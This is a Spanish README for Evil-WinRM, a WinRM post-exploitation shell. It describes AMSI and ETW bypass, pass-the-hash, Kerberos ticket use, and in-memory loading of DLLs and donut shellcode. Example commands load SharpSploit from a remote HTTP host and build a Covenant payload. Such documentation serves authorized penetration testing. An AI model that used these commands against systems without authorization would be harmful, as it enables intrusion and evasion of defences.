El shell WinRM definitivo para hacking/pentesting

Descripción y propósito

Este shell es el shell WinRM definitivo para hacking/pentesting.

WinRM (Windows Remote Management) es la implementación de Microsoft del protocolo WS-Management. Un protocolo estándar basado en SOAP que permite la interoperabilidad entre hardware y sistemas operativos de diferentes fabricantes. Microsoft lo incluyó en sus sistemas operativos para facilitar la vida a los administradores de sistemas.

Este programa puede usarse en cualquier servidor Microsoft Windows con esta función habilitada (normalmente en el puerto 5985), por supuesto solo si tienes credenciales y permisos para usarlo. Así que podemos decir que podría usarse en una fase de post-explotación de hacking/pentesting. El propósito de este programa es proporcionar funciones agradables y fáciles de usar para el hacking. También puede usarse con fines legítimos por administradores de sistemas, pero la mayoría de sus funciones están enfocadas en temas de hacking/pentesting.

Se basa principalmente en la librería Ruby WinRM, que cambió su forma de funcionar desde su versión 2.0. Ahora, en lugar de usar el protocolo WinRM, utiliza PSRP (Powershell Remoting Protocol) para inicializar pools de runspace, así como para crear y procesar pipelines.

Funciones

• Compatible con sistemas cliente Linux y Windows
• Cargar scripts de Powershell en memoria
• Cargar archivos dll en memoria evadiendo algunos AV
• Cargar ensamblados C# (C Sharp) en memoria evadiendo algunos AV
• Cargar payloads x64 generados con la increíble técnica donut
• Bypass dinámico de AMSI para evitar firmas de AV
• Soporte de pass-the-hash
• Soporte de autenticación Kerberos, incluyendo también archivos ccache y kirbi
• Soporte de SSL y certificados
• Subir y descargar archivos mostrando barra de progreso
• Listar servicios de máquinas remotas sin privilegios
• Historial de comandos
• Autocompletado de comandos WinRM
• Autocompletado de archivos/directorios locales
• Autocompletado de rutas remotas (archivos/directorios) (se puede deshabilitar opcionalmente)
• Colorización en el prompt y mensajes de salida (se puede deshabilitar opcionalmente)
• Función de registro (logging) opcional
• Soporte de Docker (imágenes precompiladas disponibles en Dockerhub)
• Captura de trampas (traps) para evitar la salida accidental del shell con Ctrl+C
• User-agent personalizable usando el predeterminado legítimo de Windows
• Bypass de ETW (Event Tracing for Windows)

Ayuda```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

Método 2. Clonar con Git e instalar dependencias en tu sistema manualmente

• Paso 1. Instala las dependencias manualmente: sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
• Paso 2. Clona el repositorio: git clone https://github.com/Hackplayers/evil-winrm.git
• Paso 3. Listo. ¡Solo ejecútalo!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Método 4. Usando Docker

• Paso 1. Inicie el contenedor docker basado en la imagen ya construida:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

Cargar scripts de PowerShell

• Para cargar un archivo ps1 solo tienes que escribir el nombre (se permite autocompletar con tab). Los scripts deben estar en la ruta establecida en el argumento -s. Escribe menu de nuevo y verás las funciones cargadas. Los archivos muy grandes pueden tardar mucho tiempo en cargarse.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

  ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
  | __)\ / / | | ;)') \ // / |/ | / / \ /
  | \ /| | | // \ /| | | \ | / Y
  /_____ / _/ |__|/ _/\ / ||| /__| /__| / / / / / /

  root@kitploit:~

     By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
  

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

• Dll-Loader: permite cargar librerías dll en memoria, es equivalente a: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

  El archivo dll puede estar alojado por smb, http o localmente. Una vez cargado, escribe menu, y luego es posible autocompletar todas las funciones.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

  Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

  Description

  Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

Puedes usar este donut-maker para generar el payload.bin si no usas Windows. Este script utiliza un módulo de Python escrito por Marcello Salvati (byt3bl33d3r). Se puede instalar usando pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe

.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !./ \ _ _ .__./ "
X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----" / Y \ / | "x.^ |
j Y

[+] Donut generated successfully: payload.bin

Kerberos

• Primero tienes que sincronizar la fecha con el DC: rdate -n <dc_ip>

• Para generar el ticket hay muchas formas:

  • Usando ticketer.py de impacket
  • Usando Rubeus o Mimikatz para obtener tickets kirbi (se admite la conversión automática a ccache)

• Añade el archivo de ticket. Hay 3 formas:

  export KRB5CCNAME=/foo/var/ticket.ccache

  cp ticket.ccache /tmp/krb5cc_0

  Usa el parámetro -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache o evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

  Al usar -K, la herramienta automáticamente:

  • Detecta el formato del ticket (ccache o kirbi)
  • Convierte tickets kirbi a formato ccache si es necesario (requiere ticket_converter.py o impacket-ticketConverter)
  • Valida que el archivo exista y sea legible
  • Establece la variable de entorno KRB5CCNAME
  • Resuelve direcciones IP a FQDN para una mejor compatibilidad con Kerberos

• Añade el realm a /etc/krb5.conf (para linux). Es importante usar este formato: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

  root@kitploit:~

• Verifica los tickets de Kerberos con klist

• Para eliminar un ticket usa: kdestroy

• Para más información sobre Kerberos consulta esta [hoja de referencia]

Finalización de rutas remotas

Esta función requiere el enlace nativo readline-ext. Evil-WinRM lo declara como dependencia, por lo que se instala automáticamente al usar RubyGems o Bundler. Si la extensión nativa no se puede compilar, esta función no funcionará (se mostrará una advertencia).

Nota para Ruby 3.3+: ext/readline se eliminó del código fuente de Ruby en la versión 3.3 (Feature #19616). Por lo tanto, el Método 1 a continuación no se puede usar con Ruby 3.3 o versiones posteriores. En sistemas basados en Debian, instala el paquete de desarrollo requerido antes de instalar Evil-WinRM o sus dependencias:``` sudo apt install libreadline-dev

Método 2 (Instalar ruby para usarlo solo para evil-winrm usando rbenv)

Supongamos que quieres ruby 2.7.1 en un Linux basado en Debian y estás usando zsh. Este script lo automatizará. Necesitarás ejecutarlo desde el mismo directorio donde se encuentran evil-winrm.rb y el Gemfile (el directorio creado por evil-winrm después de un git clone, por ejemplo):``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

Dependiendo de tu sistema, se instalará en /opt/rubies/ruby-2.7.3 o quizás en ~/.rubies/ruby-2.7.3.

Ahora solo necesitas instalar las dependencias de evil-winrm para esa nueva versión de ruby instalada. La forma más fácil es lanzar el comando /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. El comando gem utilizado debe pertenecer a la nueva instalación de ruby.

Después de eso, puedes lanzar de forma segura tu nuevo ruby instalado para usarlo con evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

Se recomienda usar este nuevo ruby instalado solo para lanzar evil-winrm. Si lo configuras como tu ruby predeterminado para tu sistema, ten en cuenta que no tiene gemas de dependencias instaladas. Algún software basado en ruby como Metasploit u otros podría no iniciarse correctamente debido a problemas de dependencias.

Registro (Logging)

Esta función creará archivos en tu directorio $HOME guardando comandos y las salidas de las sesiones WinRM.

Historial de comandos

Evil-WinRM mantiene un historial de comandos persistente para cada combinación de host y usuario. El historial se almacena en el directorio ~/.evil-winrm/history/ con archivos nombrados como {host}_{user}.hist.

Cuando te conectas a una máquina a la que has accedido previamente, puedes usar las teclas de flecha (Arriba/Abajo) para navegar por tus comandos anteriores. El historial se guarda automáticamente después de cada ejecución de comando y se carga cuando te reconectas al mismo host con el mismo usuario.

Problemas conocidos. Errores de OpenSSL

A veces, podrías enfrentarte a un error como este:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

• Como alternativa al último workaround, si tu sistema usa LibreSSL en lugar de OpenSSL o simplemente no quieres modificar el archivo de configuración del sistema. Crea un archivo simple que contenga el contenido anterior. Se puede usar cualquier nombre, por ejemplo evil-tls.conf. Después, exporta una variable de entorno para forzar al sistema a usarlo: export OPENSSL_CONF="/path/to/evil-tls.conf". Y luego lanza la herramienta, el error desaparecerá.

Changelog:

El changelog y los cambios del proyecto se pueden consultar aquí: CHANGELOG.md

Créditos:

Equipo:

• Cybervaca, (fundador). Twitter (X): @CyberVaca_
• OscarAkaElvis, Twitter (X): @OscarAkaElvis
• Jarilaos, Twitter (X): @_Laox
• arale61, Twitter (X): @arale61

Agradecimientos a:

• Vis0r por su apoyo personal.
• Alamot por su código original.
• 3v4Si0N por su increíble dll loader.
• WinRb Todos los contribuidores de la librería de ruby.
• TheWover por su increíble herramienta donut.
• byt3bl33d3r por su librería de python para crear payloads de donut.
• Sh11td0wn por la inspiración sobre nuevas funcionalidades.
• Borch por su ayuda añadiendo la funcionalidad de logging.
• noraj por su ayuda en el mantenimiento de la herramienta en las distintas versiones de Ruby.
• Hackplayers por dar cobijo en su github a este software.

Descargo de responsabilidad y Licencia

Este script está licenciado bajo LGPLv3+. Enlace directo a la Licencia.

Evil-WinRM debe usarse únicamente para pruebas de penetración autorizadas y/o fines educativos sin ánimo de lucro. Cualquier uso indebido de este software no será responsabilidad del autor ni de ningún otro colaborador. Úsalo en tus propios servidores y/o con el permiso del propietario del servidor.